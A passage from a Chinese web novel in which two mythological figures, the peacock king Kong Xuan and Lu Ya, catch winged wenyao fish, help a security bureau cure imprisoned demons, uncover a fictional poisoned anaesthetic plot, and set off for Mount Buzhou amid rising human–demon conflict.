屏幕里是一个卖鱼的视频,大概是个钓鱼佬上鱼太多就在菜市场摆摊,视频里喜气洋洋地一边卖鱼一边和直播间唠嗑,手脚麻利地拎起一条一两斤重的大鱼,都是不太常见的品种。 孔宣手指一滑,账号最后一条视频是博主钓到了一条长翅膀的怪鱼,问大家能不能吃。 都说长得越怪判得越快。 评论区嘻嘻哈哈调侃,直呼太刑了。 孔宣却一眼看出了这条鱼的品种,他见陆压看完,收回手机低下头翻了翻评论区,不忘解释:“这个人在评论区说今天会来摆摊,哝,就是这里。” 刚从几百年前醒来没多久的老古董孔雀大王,不过短短几个月就被互联网塑炼成功,机智地潜进对方的粉丝小群里,精准探知到了对方的摆摊位置。 孔雀大王眉眼得意,仰着脸,白净的脸上满是期待,闪着光朝陆压眨眼。 快夸我快夸我。 孔雀大王脸上的嘚瑟与求夸明显不加掩饰。 陆压忍俊不禁,猛猛夸他:“大王真厉害,等鱼捉回来先给大王吃,大王想吃红烧还是清蒸?” 就这么一句话,可把孔雀大王给夸美了,他隐忍地压了压嘴角的弧度,还是止不住脸上的笑意,一脸谦虚地摆摆手,表示低调低调。 说到怎么吃鱼,孔雀大王顿时清了清嗓子,表示自己有重要发言。 陆压低垂下头,垂落的睫毛遮住眼底的笑意,他洗耳恭听,配合着歪过脑袋。 孔宣的唇几乎贴在他的耳朵,那清冽含笑的嗓音含糊一瞬,旋即笑了起来。 滚烫的呼吸落在耳廓,似乎连耳朵上薄薄的皮肉都忍不住发酥发麻,无形的电流酥酥麻麻地顺着尾椎骨流窜,在大脑皮层跳跃。 陆压眉眼沉静,精准地捕捉到了青年含着笑意的每一个字。 “当然是鲜切鱼生。” 文鳐鱼的鲜嫩可口,红烧或者清蒸可真是暴遣天物了。 孔宣眉眼带笑,笑起来荣光明亮,璀璨的阳光落在他的眉眼不加任何阴霾,只余下璀璨耀眼的光彩。 陆压喉咙滚动,低沉地滚出一声应答:“……嗯。” 他又说道:“听你的。” 他在孔宣面前没有任何脾气,甚至说得上百依百顺,几乎没有丝毫的忤逆与违背。 如一条忠心不二的大型犬,收敛自己所有的气势,只在孔宣面前展露出沉稳顺服的模样。 孔宣浑然未觉,笑得明媚动人,眼神越过陆压直直落在别处:“鸦!就是那个!” 他双眼发亮,手指指引着方向,视线也从陆压身上离开。 全然没有注意到,陆压落在自己身上的目光灼热又浓烈。 孔宣脚步飞快,拉着陆压蹭蹭就凑上去,他也不管三七二十一,直接问摊主:“你上个视频卖的鱼哪里钓的,我也想钓!” 他态度不客气,但别人看他,只觉得一道明光落在眼前,漂亮的脸是实打实的利器,摊主顿时笑呵呵地问:“你也想钓啊?” 孔宣“嗯嗯”点头。 不过两三句话,他拿着一个地址高高兴兴地钻出了人群,神采飞扬地在陆压面前炫耀。 “看,我厉害吧?”孔宣得意地叉腰,虽然是问句,语气里的得意与自傲完全遮掩不住。 没有人!会拒绝孔雀大王! 没有人! 魅力十足的孔雀大王捕获人心的手段,下到八岁上到八百岁,都有人心甘情愿拜倒在他的西装裤下。 不,只要站在那里,就足够吸引注意。 陆压低低“嗯”了一声。 “很厉害,大王。” 孔宣等的就是这一句,他帅气地打了一个响指,朝陆压扬眉:“那还等什么,我们走!gogogo!” 出师顺利的孔雀大王拉着陆压挤出菜市场,一走到开阔地带,顿时狠狠出了一口浑浊的闷气。 他眉眼灵动,在路边探头探脑,看到出租车时随手招来一辆。 正要上车,突然手腕一紧,他回过头,是一直沉默的陆压。 陆压凝视着他,不知道在想什么,突然散出笑意,倾身飞速地在孔宣的侧脸亲了亲。 这一个亲亲如云雾一般轻盈缥缈,像是一个美梦,轻飘飘地来了又飞快地散去了。 孔宣愣在原地,傻乎乎地摸了摸脸,只觉得双颊滚烫,眼中迷蒙一片早已不知今夕何夕了。 造成这一切的罪魁祸首却神色坦然,拉开出租车的车门招呼孔宣上车。 怎么有人干了这种事还这么淡定! 可恶啊! 孔宣内心抓狂,忍不住鼓了鼓嘴巴,故意在上车的时候一把拉过车门。 “嘭”的一声,车门在陆压面前关上。 车窗降下,孔宣从车里探出头,姿态潇洒地朝陆压吐了吐舌头,狠狠地哼了一口气。 “师傅,我们走!” 下一秒,车门从另一边打开,陆压钻进了进来。 司机:“呃……还走吗?” 孔宣:“走!” “好嘞。”司机油门一踩,瞬间飞入密集的车流。 孔宣气呼呼地抓着陆压的手咬了一口,尖牙点在他的手背,凶巴巴地瞪眼。 陆压顺毛撸撸:“大王不气不气。” “鸦,你好像是个渣男。”孔雀大王发自内心地陈述。 怎么会有人亲完之后完全没有任何反应,太过分了! 陆压:“……大王在说我吗?” 怎么会有鸟自己渣得惊天动地还控诉别人? 两个人对视一眼,深深觉得自己遇上超级大渣鸟了! 出租车从市区一路开到景区,又从景区绕了一段远路开到乡下,直开三十公里,终于在一个小山丘前停下。 陆压给了钱,跟着孔雀大王的脚步踩上泥巴路,茂盛的草叶蹭过他的裤腿,他低下头,从裤子上捻下一颗荆棘刺果。 “是这里吗?” 孔宣将手搭在眉头踮脚眺望,看见小河如一条银带潺潺从面前流过。 他登时眉飞色舞,三两步跑向小河,大咧咧地淌进水中,冰凉的河水淹没他的膝盖,他眉眼一弯,神采飞扬地转过头朝陆压招手:“鸦!这儿这儿!” “我感觉到了,有好多的妖怪哦~” 他说话的瞬间,一尾鲜红的“鲤鱼”被他惊起,“鲤鱼”身上有一对鸟翅,覆盖着羽毛,鳞片上有苍色斑纹,像是网上很火的红黄两色转运的锦鲤,飞跃天空的瞬间,光色在鳞片上映出灿灿彩霞光。 艳丽又绚烂。 来广市,老旧的居民楼。 昏暗的老房子内凌乱堆着小山般的纸质资料,勉强作为安全局的临时办公点,几个工作人员坐在里面正忙乱地翻找资料。 一身工装的张振军抱臂站在旁边,眉宇间的痕迹更加深刻鲜明,紧皱起严肃的痕迹。 他气压极低,嗓音肃杀:“到现在还没查出谁在挑拨矛盾,甚至你们还没找到让那些妖怪清醒的方法是吗?” 旁边负责查找资料的人员低声说:“妖管局那边给的资料太多太杂还都是纸质的,我们需要时间……” “队长。”一个小士兵敲门走了进来,他探过头在张振军耳边说:“陆先生那边找到文鳐鱼了。” 第65章 第65章文鳐鱼刺身3 “嘿呀…… “嘿呀!” 长着翅膀的飞鱼被草绳吊着, 发狂拍打着翅膀努力挣扎,尾巴狂甩了人一身水。 孔宣笑意张扬,一把扑到陆压的背上,他浑身湿淋淋的, 为了捉鱼还在河里摔了一跤, 把一只鞋子甩掉之后干脆把另一只也脱下丢开。 白皙的小腿活泼地在空中被乱晃, 脚趾圆润得像是一连串的珍珠,茫茫然在空中踩了踩, 拥挤地挤出圆润的弧度。 宽松的裤腿被整整齐齐地卷起,孔宣圈着陆压的脖子趴在他的背上, 长发黏腻濡湿地粘在脸上,他胡乱拨开,毛毛躁躁地把脑袋拱进男人颈间。 身上的水蹭了陆压一身,陆压身形不动,微微躬下身任由他趴在自己背上乱拱。 几条鱼被他抓着吊在陆压的胸前, 拍打着翅膀尾巴,几滴晶莹的露珠甩在陆压脸上, 陆压下意识闪躲, 手上却把得很紧,圈着孔宣的腿弯, 涉水往岸上走。 水面波光粼粼, 浮光掠影般流动着璀璨的光色,粼粼流漾出两人的影子。 孔宣笑得停不下来, 吃吃的抽笑,明亮的阳光从头顶越下落在他的眉眼,他眉眼灵动恍若初阳照耀,朦胧着明媚动人的神态。 “鸦鸦!我们捉到鱼了!” 他脸上的表情灵动狡黠, 攀在陆压肩膀上不老实地乱动,手上勾着的草绳吊着三条鱼,不忘拎起来显摆给陆压看。 漂亮的文鳐鱼在空中挣了挣,滚出一连串鸡叫,叽叽喳喳地阖动着鱼嘴,在干渴的空气中逐渐安静下来。 陆压沉稳地“嗯”了一声,手往上送了送。 背上的青年往上带了带,为了稳住身形,一下子把手脚都缠在陆压身上。 两个人都湿漉漉的,这一瞬间肩颈纠缠手脚收紧,恍若长在一起般只余下暧/昧又亲昵的氛围,黏黏糊糊地挨在一起。 孔宣歪过脑袋,将侧脸贴在陆压侧脸,他轻轻蹭了蹭,漂亮的唇微微抿起,露出一个笑弧,在陆压耳边轻轻说:“鸦。” 他揪着陆压的耳朵,细白的手指微微收紧,顺着薄薄的耳廓往下捋了捋。 漂亮的凤眸里流漾着似水一般柔和又柔软的光色,他歪过脑袋,一下子把脸埋进陆压颈间,忍不住窃笑出声。 “等过几天我们一起去不周山吧。” 陆压:“好。” “然后我要带你去一个地方。” 陆压问:“去哪?” 孔宣却神神秘秘起来,在陆压耳边咬耳朵:“你到了就知道了。” 陆压:“好。” 怎么他说什么都是好? 孔宣一下子觉得没有意思,调皮地拽了拽陆压的发尾,故意为难:“你怎么什么都说好,不怕我把你卖了?” 陆压回:“卖了我就自己找回来。” 这样的话可把孔宣说高兴了,他笑得花枝乱颤,趴在陆压背上,忍不住晃了晃腿。 他兀自笑了起来,又忍不住问陆压:“鸦鸦,我重不重啊?” 陆压不用回头,都能猜到他脸上的神情此刻有多灵动漂亮。 陆压背着他走在小路上,顺手把他往上掂了掂,沉稳回答:“不重。” 他愿意背一辈子。 这样的话陆压隐没在唇齿,并不表露真切的心意。 可孔宣圈着陆压的脖子,像是要圈一辈子一样用力,依赖地把脸埋进手臂里,只露出一双脉脉含情眼,弯起狭长的眼尾,无声亲了亲男人的颈侧。 他已经想好了,等检查完天缝,他就和陆鸦鸦坦白。 哼哼,再不坦白这只小心眼的坏鸦可要把自己醋死了。 孔宣得意地翘了翘脚,轻声哼起了欢快的小调,脸上的得意多情光彩耀目。 两个人湿漉漉地走了半个小时才拦到车,他们也不觉得折磨,高高兴兴回去的路上顺便买了点做鱼生的材料。 陆压在楼上洗了澡,换了白色背心,单薄的背心勾勒出他结实漂亮的肌肉线条,露在外面的皮肤雪白漂亮。 “哈!”孔宣披着毛巾在楼下的冰柜里翻出一瓶饮料,随手拨开后猛猛灌了几口,爽得直哈气。 漂亮的凤眸转动着,粼粼落在陆压身上,视线从他结实的背脊滑落到劲瘦有力的后腰。 螳螂腿马蜂腰,馋得早开荤的孔雀大王忍不住咽了咽口水。 “……大王。”陆压拿刀切鱼的动作一顿,他视线偏转斜睨,孔雀大王漂亮无辜的脸近在咫尺。 不老实的手从后面圈住他的蜂腰,手掌贴在小腹上蹭了又蹭,孔宣语气无辜:“嗯?我在呀,怎么了嘛?” 真是精明花心的孔雀大王。 “有点热。”陆压手指收紧,不动声色地撩起衣摆,露出结实分明的八块腹肌和线条流畅的马甲线。 性感的荷尔蒙一瞬间扑面而来,孔宣看得眼睛发直,一只手覆住陆压的腰腹,言之凿凿地表示: “你衣服都湿了,我给你遮一遮,嘿嘿~” 憋不住地窃笑还是从喉咙里滚了出来,孔宣把脸一埋,假装自己什么都不知道。 堂堂七尺男儿最终步上以色侍人的局面,陆压摇头无奈,也装作自己什么都不知道,不受影响地处理起这三条文鳐鱼。 一条活的放在水池里养,剩下两条陆压切成薄薄的鱼片铺在盘子里,准备了紫苏、腊蒜、姜片、柠檬叶……大大小小的配菜碟子摆了十几个。 他将半条文鳐鱼塞进冰箱,用筷子夹起一片薄薄的鱼片,不用转身,直接往后一递。 身后的孔雀大王嘴巴一张,嗷呜一口直接炫了。 入口是鱼肉的嫩滑,薄薄的鱼片没有叠加任何食材,含在嘴里轻轻一抿,清口又鲜嫩,仔细品还有一点水果味。 陆压再往鱼片里加了一点花生油和盐,只放油盐不加小料去吃,这一口下去,鱼肉细腻的风味被激发到了最佳,非常清甜鲜美的味道。 加了一点柠檬叶,顿时又染上了一种风味,清新甜蜜。 几乎不用怎么咀嚼,只是这样抿在嘴里,就能品味到极为鲜甜的鱼肉味。 这可把孔宣吃得心花怒放,顿时连美色都不顾了,被食色吸引,捧着小碗和筷子,巴巴地跟在陆压身后往外走。 两人你一口我一口吃得正欢,突然前院小店门被人推开。 几个人走进来,他们身姿挺拔,穿着低调的深色工装,走进来的一刻将阳光遮蔽,如一片阴影灌入。 “陆先生。”领头的男人开口。 “张队长。”陆压起身,和男人握了握手。 在一片肃穆闭塞的氛围中,孔宣拿着筷子,旁若无人地继续吃鱼,他一边用筷子将鱼肉往嘴里送,眼睛好奇地朝陆压张望。 两个人都不是会寒暄多话的人,陆压直接问:“张队长来这么快?” “事情急,我们自己过来了。”张振军侧过头,低声解释:“事情一直没有进展,抱歉,陆先生,麻烦你多配合。” 陆压不置可否,让他们随便坐,自己转身进了厨房。 张振军眼神示意,几个下属连忙搬出他们硕大的航空级搬运箱,跟着陆压手忙脚乱地捞水池里的文鳐鱼。 他们还是第一次看到妖怪就这样大咧咧地放在厨房水池里,脸色都有些震撼,捞鱼的过程中更是紧张得不得了。 文鳐鱼避开这群人的手,不屑地甩甩尾巴,就是掀起的水珠几个小士兵都忍不住往外躲了躲。 好不容易把鱼捉住,他们以为这就是全部了,没想到陆压从冰箱里翻出半条鱼,淡声提醒: “这是用来治疗的鱼。” 张振军:!!! 居然有一条半! 张振军顿时震惊,看他们在吃鱼,脸色古怪一瞬,很快又恢复正常,低调询问:“两位先吃饭?” 孔宣都把鱼吃完了,他擦擦嘴,朝陆压挑眉:“走呗。” 孔雀大王一把挽住陆压的手臂,矜傲地扬起下巴,眼神示意,浑身的气势把一群军伍出身的大男人都比成了身边的小侍卫。 他们手挽着手,潇洒地被迎进车内。 司机油门一踩,几辆车在路上滑行一段飞速冲进车流,最终在一个老旧的政府大楼外停下。 “那些妖怪犯了事被我们抓住的都收监在这里,我们找人轮流看管,但对于妖怪我们实在……妖管局那边不太配合我们,反而一直在指责我们不分青红皂白暴力执法,陆先生肯帮忙真是太好了。” 张振军一边说,一边偷偷打量陆压的表情。 见他脸色淡淡,本来就不负责谈判招揽的张振军顿时苦恼地搓了搓脑袋,带着他们在一扇门后停下: “我们到了,就是这里。” 孔宣的视线从楼外的大树上收回,他饶有兴趣地挑了下眉,侧头与陆压耳语:“他们就把妖怪关在这?” 真是不怕人跑了。 陆压扶着他,低声说:“有东西抑制妖力。” “哪呢,我怎么没感觉到。”孔雀大王不以为然。 飞速地挑了下眉,孔宣好奇地朝前走了两步,比陆压先一步从敞开的大门一眼望进里面。 收监妖怪的地方是由原先的宿舍楼改装的,一间住了两个妖怪,乍眼一看,里面坐着的妖怪和人也没什么区别。 他们浑浑噩噩,让怎么折腾就怎么折腾,丢了魂般没有任何自我意识。 几个身穿白大褂的人拿着手术刀,在角落里一脸谨慎地解剖鱼肉,将一片薄薄的鱼肉切下后与张队长交换了一个眼神,随后十分小心谨慎地把这片鱼肉喂给了收监的犯人。 孔宣等得无聊,和这群家伙大眼瞪小眼十几分钟,忍不住说:“就这?” 什么都没有发生嘛。 张振军不着痕迹的泄了口气,一本正经地猜测:“可能需要点时间。” “要不我带两位在外面走走?”他提议。 这个提议孔雀大王批准了。 三个人走出房间没多久,一个白大褂匆匆忙忙跑出来,大喜过望地高呼:“醒了醒了!” 张振军急急忙忙地下命令:“抓紧让审讯组审讯出个结果,还有文鳐鱼,那条活的往实验室送了吗?” “送了送了!” 小楼上下一阵兵荒马乱,张振军也跑走了,只剩下一个娃娃脸的年轻人跟着陆压与孔宣。 没人看到的角度,孔宣伸手从口袋里掏出一个圆环样的东西,随手抛了抛:“鸦,你说限制妖力的东西就是这个?” 陆压:“……大王。” “拿来玩玩而已。”孔宣挑眉,随手把这个镣铐一样的东西扣在手腕上抖了抖。 旁边的小年轻都不知道他从哪弄来的,一脸窒息,急急忙忙地阻止:“这个是用建木做的,融入了一种金属,可以限制妖力,非常坚硬,没有钥匙弄不开的,你!” 话音未落,号称由建木打造而成的禁锢镣铐在孔宣手里变成了几块碎片。 孔宣忍不住发笑,轻蔑地眨了眨眼:“有点意思,比扶桑木硬一点。” 扶桑木只是金乌歇脚的防火神木,和顶天立地搭成天路的建木功能截然不同,在神话里也远不如建木重要。 孔宣却评价只比扶桑木硬一点。 “听起来不太靠谱。”陆压伸手抓住了孔宣的手。 孔宣把手掌摊开,嘚瑟地朝他翘起嘴角,扯出一个得意的笑容。 然而陆压只顾着检查他的手心,止不住地来回揉捻,低声说:“下次别这样了,容易受伤。” “才不会呢。”孔宣眉飞色舞,嬉笑着靠近陆压,在他耳边调笑:“鸦鸦心疼我呀?” 这还用说? 陆压朝孔宣看了一眼,孔宣乐不可支,歪着脑袋靠在他肩膀上,反手抓住陆压的手在手中把玩。 他孩子气得可以,一只手也能玩得不亦乐乎,用自己的手掌和陆压的手对比,比划手指的长短、肤色。 张振军匆匆忙忙出门,一眼就看到了依偎在一起的两人。 “陆先生……” 两个人正看着楼边的老树,同时转过头。 张振军神情严肃,刚要开口,就见眉眼秾烈漂亮的青年竖起手指,在嘴边比划了一个噤声的动作。 陆压淡声说:“张队长,你们这里妖怪很多。” “怎么可能——”张振军正要反驳,突然将目光落在了他们一直看着的老树上。 刚刚孔宣就一直在看它。 安全局致力于搭建没有妖怪的人类安全组织,然而他们一直都处于妖怪的监视之下。 张振军头皮一炸,带上陆压和孔宣,一脚油门上了高速。 从车辆驶出小楼的一瞬间,几道影子从天空掠过。 孔宣神秘地翘起眼尾,流露出一个意味深长的笑容:“他们跟上来了。” 他们是谁?张振军瞳孔转动,疑神疑鬼地试图从车窗玻璃看到外面跟上来的妖怪。 车子上安装了妖怪检测器,可以检测附近的灵气判断是不是有妖怪存在,自动报警对方的位置,然而张振军刷新十几次,依旧什么提醒都没有。 什么都没有! “陆先生!”张振军急急忙忙开口。 陆压低眸看孔宣捉着自己的手把玩,他猝然抬眸,嗓音清冷:“张队长,共享一下情报吧。” 国家安全局的建立本身就不是一个好的信号,代表他们彻底放弃依赖妖族,要搭建属于自己的势力。 ——妖族已经不值得信任了。 这个国家的人也好妖也好,都在努力维系现在的和平,但总有人或妖不是这样想。 在民众没有意识到的时候,人类和妖族已经有过数次交锋。 “宣布妖族的存在其实是上面和妖族共同的决定。”张振军低声说:“人和妖之间的关系,从来不是一方包容一方,都是经营出来的。” “既然争斗与计谋已经不可避免,我们需要团结一切可以团结的势力,想要走向共和的妖族也是我们要拉拢的目标。” 人类的科技确实厉害,可妖族的实力也不容轻视,一旦打起来必然是毁天灭地。 于是,在联合一部分愿意共和的妖族之后,人类宣布了妖族存在,积极推动共和。 但妖族伤人的情况时有发生,妖管局名存实亡,很多原本就一直中立的妖怪与人类彻底断联。 风雨欲来。 张振军低声说:“建木融合金属是一个人类院士提出来的,它可以很好地抑制妖力,包括放倒妖族的麻醉剂也是……” “等等。”孔宣打断了他的话,他从口袋里掏出一个安瓿瓶,略带浑浊的白色液体在里面流晃:“麻醉剂?你是说这个吗?” 张振军:!!! 孔宣彻底笑了,他像是听到了什么笑话,笑得根本停不下来:“你知道这里面是什么吗?你们有查过吗?” 他神色恶劣戏谑,像是恶趣味的高位存在凝视着苦命挣扎的蚂蚁:“这是一种毒。” “一种用毒草制作的慢性毒素,被打上它的妖族会慢慢被毒素侵蚀大脑,丧失所有的理智,只需要三个月……哦不。”孔宣话语一顿,笑容越发恶劣,放轻的嗓音里透露出十足的愉悦。 “你们打的计量恐怕只需要几天、十几天,你们亲手造出了杀人机器。” “滋啦——”车子在车道上飞速刹车。 张振军停车之前,陆压冷声命令:“继续开!” 他扭头看向窗外,窗外几只飞鸟的影子跟上了车速,正张着翅膀划过气流紧紧跟随在他们左右。 张振军呼吸急促:“我得报告上级!我怎么知道你说的是真的?” 孔宣并不想回答他,他只是在肆意宣泄自己的恶趣味而已。 他玩味地发问:“谁告诉你们建木和金属融合可以抑制妖力?谁告诉你们这个麻醉剂是真的?” 是安全局的老人!是上级!是愿意帮助他们的妖族! 张振军已经混乱了,他不可置信,喃喃自语:“这种东西,我们已经批量生产了……” 因为时局越来越危险,而这种麻醉剂的构成不算复杂,国家已经开发了产线,批量发送到每个下级单位。 如果这种东西非但不能避免争斗发生,还制造出来一堆没有意识的杀人机器,那他们…… 孔宣“唔”了一声,饶有趣味地歪了下脑袋,天真烂漫地眨了眨眼:“其实也没有错,建木加金属确实可以抑制妖力,不过一旦妖力超过限制范围,就会彻底失效。” “麻醉剂?这个东西确实可以起到麻醉的效果,只是有点副作用而已。” “人,你们安全局看来已经被渗透成筛子了呢。” …… 是的,没有任何纰漏! 要是查起来,最多也只是判一个好心办坏事的判决。 因为对方是安全局的老人,是一直沉静保卫最后一道人妖防线的高层,甚至连研究员都是值得信赖、德高望重的人。 全是人类。 张振军一个拐弯,把车子停在小店门口。 他已无话可说,背部渗出一片惊悚的冷汗。 张振军眉目坚毅,郑重其事地回答:“我会报告上级。” “哈,你就只会说这种话吗?”真是无趣。 孔宣肆意挑衅了一番,最终只觉得索然无味。 他歪过脑袋,郁闷的鼓了鼓嘴巴,朝陆压露出一个无辜可怜的表情。 陆压抓着他的手捏了捏,目光眺望远方:“要彻底乱起来了。” 昏暗的雨云沉沉压在头顶,侵染着明亮的天光,将边缘模糊打压,透出暴风雨来临前夕,漫天暗黄的压抑颜色。 大雨转瞬席卷了这座城市,人类的城市浸透在雨水中,被雨丝朦胧了变化,化成一片模糊的光色。 屋内,孔宣翘着腿,把脚搭在陆压腿上。 他斜躺在沙发上,抿着甜甜上热可可,目光漫不经心地落在电视上。 电视上,衣着整洁的电视主播正用清晰的腔调重申: “据悉,我市已发生多起怪物伤人事件,请各位市民关好门窗减少外出……” “珍惜生命,远离危险……” …… 电视画面“滋滋”模糊成一片雪花,无数人起身去检查线路,以为是大雨影响了频道。 却没有人注意,大雨中,有几道狰狞的影子爬上了电视台的大楼。 几个正在清理地面的保洁人员被影子吸引,下意识走到窗边,声音困惑:“外面是不是有什么人啊?” “这么大的雨哪有什么——” “啊啊啊!” 话语突然被刀光割裂,刺耳的尖叫声伴随鲜血溅出,被大雨封没在焦灼的喧哗声中。 明亮的大楼内,混乱的人群拥挤在一起,被冰冷的血腥无情收割尖叫,冰冷的雨水混杂进血液,化作来人冰冷戏谑的笑容。 “杀吧杀吧,一切都要结束了哈哈哈哈!” 第66章 第66章完结倒计时 “昨夜,…… “昨夜, 我市发生一场骇人听闻的怪物伤人事件,死伤十三人,凶手至今还在逃窜……” 电视适时播报的新闻频道里,坚毅漂亮的女性新闻人正披着风雨战斗在案发第一线, 背后凌乱的场景被风雨催折, 几个人影穿过黄色的隔离带往前走。 女主持被人提醒回头, 第一个冲了上去,冲到身着制服的警官面前, 将话筒递到他们面前,声音混杂在雨声中显得撕心裂肺。 “先生, 先生!请问你们找到凶手了吗?关于案件你们有什么方便透露的吗?电视台杀人案,到底是对我们的挑衅还是随机的屠杀?人类真的可以相信妖怪吗?先生、先生……” “不好意思,我们不接受采访。” 一个警官将她拦住,眼睛盯上摄影机,直直地伸手去挡。 画面瞬间黑了下来, 切换到新的频道。 电视屏幕盈盈的白光挥洒在客厅里,映出青年横在沙发上的白腿, 雪白的肌肤透亮细腻, 赛霜欺雪般惹眼得很。 孔宣嘴里叼着一根雪糕,一边看电视剧一边含糊开口:“这些人类真是不怕死。” 死了人还要过去看看现场。 孔宣摇晃的长腿搭在陆压的腿上, 陆压顺手摩挲了两下精致的脚踝, 顺着他的角度,视线从脚踝滑落进腿间的一点暗色, 隐没在遮掩的衣摆处。 “大王,小心着凉。”陆压低声说着,目光闪了闪,避开了那片模糊不清的阴霾, 将一张毯子盖在孔宣身上。 孔宣长腿一踢,轻轻松松地踢开,仰着脑袋朝陆压露出一个挑衅的表情,玩味地挑了下眼。 昨天的大雨下到现在,凉风顺着窗户缝隙丝丝钻了进来,冷得人骨头发疼。 孔宣像是不怕冷般,身上只穿了一件单薄的短袖,盖在大腿中央,动作间隐约露出底下的春色。 “不要毯子。”他咬掉一块雪糕,摇晃着木棍撩开发丝,撑着下巴露出一个狡黠动人的笑容:“要不你给我暖暖?” 他挑起眉,脚掌灵巧地钻进陆压的衣摆,一下子踩在漂亮的腹肌上。 孔宣神色张扬挑衅,恶劣地舔了舔雪糕边缘,脚掌忽轻忽重地踩在陆压的身上。 陆压呼吸一窒,一把攥住孔宣的脚踝,他隐忍地低垂下头,圆润脚趾头灵动地动了动,狡黠调皮的意味如一把小勾子,直勾勾钓住了他的目光。 粗大的喉结明显滚了滚,紧接着,光裸的脚掌一下子蹬到陆压的下巴上。 孔宣稍稍用力,轻蔑又危险地眯起眼睛:“鸦,坐过来。” 他冷酷命令。 等陆压坐过来,他直白地将屁股坐到陆压的大腿上,他撩了撩头发,长腿折叠着盘在身前,几乎歪倒在陆压的怀里。 “不要管这些人类了。”孔宣揽着陆压的肩膀,亲/昵撕咬他的下巴,眼尾敛起些许弧度,口吻逐渐亲昵软乎下来。 “我们马上就走。” 那些人类是死是活,对他们一点都不重要。 孔宣如一条滑腻腻的蛇钻进陆压的怀里,他在陆压耳边丝丝耳语,冰冷妩媚的嗓音放软了语调,显得缠绵悱恻。 陆压下意识圈住他的细腰,手臂收得很紧,仿佛他下一秒从自己怀里钻走。 “去哪?”他嗓音发紧,低沉发问。 “去不周山呀。”孔宣与陆压肩膀纠缠亲昵地蹭着侧脸,软乎乎的腮帮子蹭了蹭,弯起眼睛露出一个笑容。 孔宣的手臂缠得很紧,像是一条冰冷的蛇圈住陆压的脖颈,他呵气如兰,天真烂漫地说:“上了不周山,就只有我们了,世间纷纷扰扰和我们没有关系。” “死一个人也好、两个人也好……” 孔宣说着说着,眸色逐渐幽深,唯独落在陆压身上的目光越发显得多情浪漫。 他冷冷地吐出一句:“都和我们没有关系。” “这是一场战争。”陆压扒拉下他的胳膊,试图跟他理清现在的局势。 有人代表妖族要与人类开战了,人类能忍这一次,不代表下次、下下次……注定会有一战。 陆压不用上网,已经能猜到现在的舆情是什么情况。 未来的人类必将处在惶惶不安中,直到人妖之间彻底清扫掉所有阻碍,走向未知的未来。 “可是这和你有什么关系?”孔宣冷漠无情,他歪过脑袋,一双眼睛早已布满了璀璨的青色妖异:“你要参战吗?以什么身份?人?妖?” 陆压一时无言。 孔宣歪过脑袋,黏黏糊糊地把脑袋枕在陆压的肩膀上,轻声缠绵:“跟我回不周山吧,我带你去见妈妈。” 他轻轻蹭过陆压的肩膀,像是一只没有安全感的猫咪,黏黏糊糊又不容抗拒。似乎只要稍微流露出一点抗拒,他就会立刻感到难过,炸毛给陆压看。 孔宣的脚掌一下一下踩在沙发上,并不如他表面那么淡定,用一双湿漉漉的眼睛凝视着陆压。 在这样的目光下,陆压顿了顿,他伸手捻住青年的下巴,细腻的皮肤如一块漂亮的羊脂玉般温润柔和,似乎只要他稍微犹豫一下,就会立刻裂开痕迹。 “……好。” 他答应下来:“我和你回不周山。” 孔宣顿时欢呼一声,一下翻坐在陆压身前,他居高临下低头,捧着陆压的脸,细密的发丝如瀑布洒落,阴影将两人的眉眼笼罩,也将暧/昧隐晦的一切遮蔽模糊。 孔宣愉悦的嗓音模糊在唇齿间:“乖鸦。” 乖鸦会得到孔雀大王的奖励。 单薄的衣服背上赫然攀上一只手掌,手背用力时青筋迸起,宽松的衣服遮不住底下纤细劲瘦的身段,在纤细与禁锢中迸发出隐秘的张力。 大雨在第二天午夜就结束了。 早晨的凉风刮得人皮肤发痒,丝丝麻麻地泛起冷意。 孔宣穿了一件漂亮的亚麻蕾丝花边上衣,漂亮的束腰裤收紧腰腹的弧度,看着又笔直漂亮又保暖。 穿着这样一身,看起来不像是要去爬山的。 孔宣翘起唇角,朝陆压挑起长眉露出狡黠的笑容:“谁跟你说我要去爬山的?” 陆压:? 他扶住从旁路过的美人,低头询问:“那我们去哪,大王。” “去一个很关键的地方。”孔宣眨眨眼。 他也不卖什么关子,直白地把天缝的存在说了。 天缝在几百年前补过一次,当然也不是什么秘密。 天缝每次裂开的地方并不规律,而且裂开的速度也十分缓慢,很可能几百一千年都扩不开一厘米的缝隙。 然而不怕天意,就怕人为。 当年三足金乌投身修补天缝有太多人知道,如果有人在这里面做文章,恐怕事情会很难办。 陆压神色一凛:“你怀疑有人破坏天缝?” “嗯哼。”孔宣挑眉。 他带着陆压买了两张人类的车票,走过安检踩上高铁站白净的地板,看起来漫不经心。 陆压追着他,低声询问:“如果天缝被破坏了会怎么样?” “你觉得一个破碎的泡泡最后会怎么样?”孔宣讥笑,意味深长地朝陆压递去一个眼神。 世界孢子的理论被他完整地讲述给陆压,他说:“天缝最初的裂痕对于一个世界来说太过渺小,在破碎之前,我们还有很多时间,但一旦裂开到世界承受不住的时刻,世界就会像一个漏气的孢子一样……” “嘭”孔宣比划了一个爆炸的手势,无声比了比口型。 以身化大道就是用自己的灵气去弥补孢子的裂痕,将世界维持在可以承受的地步。 这在人类的神话传说中有过几次,在妖族们口耳相传的故事里更是有过许许多多的尝试。 最出名的不外乎是“女娲补天”。 孔宣带着陆压坐上座椅,他看陆压神情严肃,漫不经心地安慰:“没事啦,只是去看看而已,这玩意没有那么容易坏的。””要是坏了呢?”陆压问。 他眼下光影流漾,无意识地攥紧了孔宣的一手,一双眼睛抬起时眼中色彩晦暗难辨。 他喉咙滚动,低沉的嗓音压抑又深沉:“为什么是你去查看?如果出了问题,难道要让你一个人去处理吗?” 这不是孔宣的责任。 孔宣没想到男人会说出这样的话,毕竟这家伙前世赴死可是一点没犹豫。 他神情怔怔,手腕被攥得死紧,感受到吃痛,他反而高兴得不得了。 紧接着,他忍不住吃吃笑了出来,一边笑一边故作震惊地调侃:“不会吧?不会吧?你不会以为我是什么舍生为己的好人?” 孔宣轻蔑:“我才不会呢。” 他神色张扬肆意,又全然冷漠无情,带笑的眉眼摇曳着炽热的星火,分明漂亮又分明凉薄。 他可不会牺牲自己拯救别人,这种事分明只有陆鸦鸦会。 陆压眸色深沉,重重地攥紧孔雀大王的手腕,郑重点头:“好。” “我们回不周山。” 这种事和孔宣没有关系。 如果有人要救世而死,至少不应该是他。 陆压目光灼灼,一瞬不瞬地盯着孔宣,似乎稍微错眼他就会从自己眼前消失。 这样灼热的目光把孔宣看得心花怒放,他拂了拂头发,故意朝陆压眨了眨眼:“你是不是很怕我死掉?” 